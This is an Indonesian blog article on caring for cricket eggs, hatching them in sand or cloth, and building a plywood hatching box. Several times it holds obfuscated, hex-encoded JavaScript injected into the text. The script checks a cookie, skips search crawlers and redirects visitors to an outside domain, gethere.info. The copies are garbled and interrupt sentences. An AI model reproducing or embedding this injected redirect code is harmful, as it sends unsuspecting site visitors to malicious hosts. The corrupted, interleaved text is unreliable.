Merawat Telur Jangkrik Setelah Menetas Kupas Triknya
Merawat Telur Jangkrik Setelah Menetas
Merawat telur jangkrik sesudah menetas – Telur menetas juga melewati proses. Setiap waktu, telur yang mengalami proses akan berubah-ubah bentuk. Telur akan berubah-ubah bentuk dari pertama dia keluar dari badan sang induk hingga telur akan menetas nantinya.
Pada dikala akan menetas itulah telur akan berhenti berubah-ubah bentuk karena akan menetas dari cangkang telur.
Pada umumnya, sesudah 14 hingga 28 hari, telur baru menetas. Untuk telur yang tidak normal, telur akan menetas pada hari yang telah ditentukan (kurang dari 14 hari atau lebih dari 28 hari).
Untuk telur yang menetas kurang dari 14 hari, berarti telur tersebut akan menjadi anakan jangkrik yang tidak normal. Sedangkan untuk telur yang menetas lebih dari 28 hari, bisa jadi telur tersebut tidak bisa menetas.
Setiap 5 atau 6 hari sekali, telur akan berubah-ubah warna. Warna yang berganti juga tidak sama. Pada hari pertama hingga hari ke lima setelah keluar dari tubuh induknya, telur ini berwarna putih yang dicampur dengan warna kekuningan.
Perawatan telur Dan Anakan jangkrik
Biasanya, telur yang usianya 1-5 hari disebut dengan telur muda. Mengapa diberi nama telur muda? Diberi nama telur muda ya karena itu tadi, usianya yang baru menginjak 1 hari keluar dari perut induknya.
Selanjutnya yaitu telur yang berumur 7 hari sampai 11 hari. Telur yang berusia 7 hari hingga 11 hari biasanya disebut dengan telur remaja.
Pemberian nama telur remaja ini dikarenakan, pada umur 7 hingga 11 hari ini yang merupakan umur pertengahan telur jangkrik itu sendiri. Warna dari telur remaja ini adalah kuning yang utuh.
Telur yang berusia 12 sampai seterusnya merupakan telur yang biasa disebut telur dewasa. Telur yang sudah berusia 12 sampai seterusnya merupakan telur yang sudah matang dan siap untuk menetas.
Telur yang seperti ini ditandai dengan warna telurnya yang kuning tetapi ada hitamnya.
Ingatlah, untuk telur yang tidak menetas hingga batas hari ke-28, itu berarti telur sudah tidak mampu menetas lagi.
Telur ini mampu dipisahkan dari telur-telur lainnya. Apabila telur ini menetas, nantinya beliau kan menjadi anakan yang tidak normal (seperti cacat fisik). Jika sudah begitu, maka nilai jual jangkrik akan menurun dan mengurangi keuntungan yang akan kita mampukan.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)klon)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)
Baca juga: Ciri Fisik dan suara murai watu medan gacorWajib Penting Di baca
Alat Penetas Telur Jangkrik Otomatis
Cara menetaskan telur jangkrik Otomatis – Menetaskan telur memerlukan media-media pendukung supaya telur mampu menetas dengan cepat. Sebenarnya, media ini tidak layak dikatakan sebagai media pendukung.
Karena media ini mampu menciptakan telur cepat menetas. Apa-apa saja media untuk menetaskan telur? Media penetasan telur diantaranya:
Penetasan dengan memakai media pasir
Penetasan yang dilakukan dengan memakai media pasir ini biasanya banyak dipakai untuk peternak yang menjual telur-telur jangkrik kepada peternak jangkrik lainnya.
Mengapa penetasan telur dengan menggunakan media pasir ini banyak digunakan untuk peternak jangkrik yang menjual telur jangkrik kepada peternak lain?
Sebab, media pasir ini sangat simpel ketika disaring. Ketika kita hendak menyaring telur jangkrik yang berada di media pasir, jadi kita mampu menyaring pasir dan telur hingga yang tersisa hany telur jangkrik saja.
Agar media pasir ini mampu digunakan untuk media penetasan, harus memenuhi persyaratan. Persyaratannya adalah pasir yang digunakan haruslah bersih dan halus se halus-halusnya. Tidak boleh ada serpihan yang berangasan sedikit pun.
Sebab, jika ada pecahan pasir yang agresif, maka ketika telur jangkrik menetas di media tersebut, nantinya anakan yang keluar akan mati karena pasir kawasan anakan menetas masih kasar.
Penetasan dengan menggunakan media pasir ini juga ada cara-caranya tersendiri. Caranya ialah: Sediakan daerah kecil seakan-akan mangkok tetapi berbentuk panjang satu buah (tergantung kebutuhan). Setelah itu, sediakan pula pasir yang telah disaring hingga higienis dan halus.
Masukkan pasir yang telah disaring ke dalam mangkok yang telah disediakan. Ratakan dan ketebalan disetiap sudutnya sama rata.
Selanjutnya, telur jangkrik sebanyak satu sendok makan di taburkan di atas pasir. Setelah itu, tutup kembali pasir yang telah ditaburkan telur pasir memakai pasir juga. semuanya simpulan, masukkan mangkok tadi ke dalam kotak penetasan telur. Cek lah telur setiap hari dan telur disemprot air setiap harinya.
Penetasan dengan menggunakan media kain
Penetasan dengan memakai media kain bahan yang diperlukan antara lain: Kain katun yang mempunyai ukuran 30 cm x 30 cm. Dan nampan kecil yang nantinya dipakai untuk meletakkan kain.
Teknik penetasan memakai media kain ialah: sediakan kain katun yang berukuran 30 cm x 30 cm.
Kemudian masukkan telur jangkrik sekitar satu sendok makan di tengah-tengah kain. Setelah itu, lipat kain sampai semua sudut kain tertutup. Lipat terlebih dahulu cuilan atas dan bawah. Selanjutnya lipat pecahan kanan dan kiri.
Setelah itu, letakkan kain tadi di atas nampan kecil. Kemudian, masukkan nampan yang berisi kain katun yang di dalamnya terdapat telur jangkrik ke dalam kotak penetasan telur. Semprot telur dengan memakai semprotan air setiap harinya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)
Baca juga: Ciri Fisik dan suara murai watu medan gacorWajib Penting Di baca
Cara Praktis Menetaskan Telur Jangkrik
Cara praktis menetaskan telur jangkrik – Sebenarnya, telur jangkrik tidak perlu ditetaskan oleh peternak sudah menetas sendiri. Namun, lantaran peternak menginginkan telur jangkrik cepat menetas, jadi peternak menetaskan telur dengan teknik-teknik khusus.
Tempat-tempat yang bisa digunakan untuk menetaskan telur jangkrik seolah-olah yang terbuat dari tripleks ataupun ember.
Yang paling penting ialah mampu untuk menetaskan telur jangkrik.
Penetasan telur jangkrik di kotak tripleks
Pada kesempatan kali ini, kita hanya akan membahas penetasan telur pada kotak tripleks. Kotak penetasan yang terbuat dari tripleks ini biasanya dibuat untuk menetaskan telur dengan skala yang banyak.
Namun, kalau kita ingin menetaskan telur di dalam kotak tripleks dengan skala kecil juga tidak apa-apa. Semuanya tergantung pada kebutuhan kita.
Penetasan telur dengan skala yang banyak biasanya digunakan untuk peternak yang hanya mempunyai usaha skala kecil.
Umumnya, peternak dengan perjuangan skala kecil menetaskan telur di kotak tripleks gunanya semoga penetasan telur dilakukan sekaligus di dalam satu kotak saja.
Dengan ukuran kotak sekitar tinggi 30 cm, panjang 60 cm dan lebar 40 cm sudah bisa menampung satu sendok makan telur jangkrik.
Satu sendok makan telur diperkirakan sekitar 4.000 butir telur jangkrik. Dengan begitu, peternak bisa menghemat daerah maupun biaya.
Dengan satu kotak penetasan telur saja, peternak sudah mampu menangkarkan setidaknya 4.000 butir. Ini sangat cocok untuk peternak yang mempunyai modal yang sedikit.
Sebagian orang mungkin tidak mengetahui cara membuat kotak penetasan memakai tripleks. Untuk itulah, disini kita akan membahas perihal cara pembuatan kotak. Tutorial pembuatan kotak penetasan telur ialah:
Bahan:
- Tripleks
- Paku
- Gergaji
- Martil
- Meteran
- Pensil
- Kayu
Cara pembuatan:
Cara pembuatan kotak penetasan mampu dibentuk secara mendatar atau pun bertingkat. Bagi peternak yang hanya mempunyai lahan yang sempit, maka bisa menciptakan kotak penetasan dengan cara bertingkat. Kotak penetasan yang dibuat secara mendatar hanya untuk peternak yang mempunyai lahan yang lebar.
-
Pertama-tama, potong kayu dengan ukuran 60 cm, 40 ccm, 20 cm. Masing-masing harus ada 4 potong.
-
Setelah itu, potong pula tripleks yang ukurannya 30 cm x 60 cm x 60 cm ( 2 potong masing-masing ukuran).
-
Dan potong kembali tripleks dengan ukuran 40 cm x 60 cm (1 potong masing-masing ukuran).
-
Setelah semuanya siap, satu kan semua kayu dan tripleks yang telah dipotong. Hingga berbentuk menjadi kotak yang mempunyai kaki.
Untuk menciptakan kotak sehingga bertingkat, jadi lakukan kembali acuan yang telah disebutkan.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)50)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])
Baca juga: Ciri Fisik dan bunyi murai watu medan gacor
0 Komentar Untuk " Merawat Telur Jangkrik Setelah Menetas Kupas Triknya"
Posting Komentar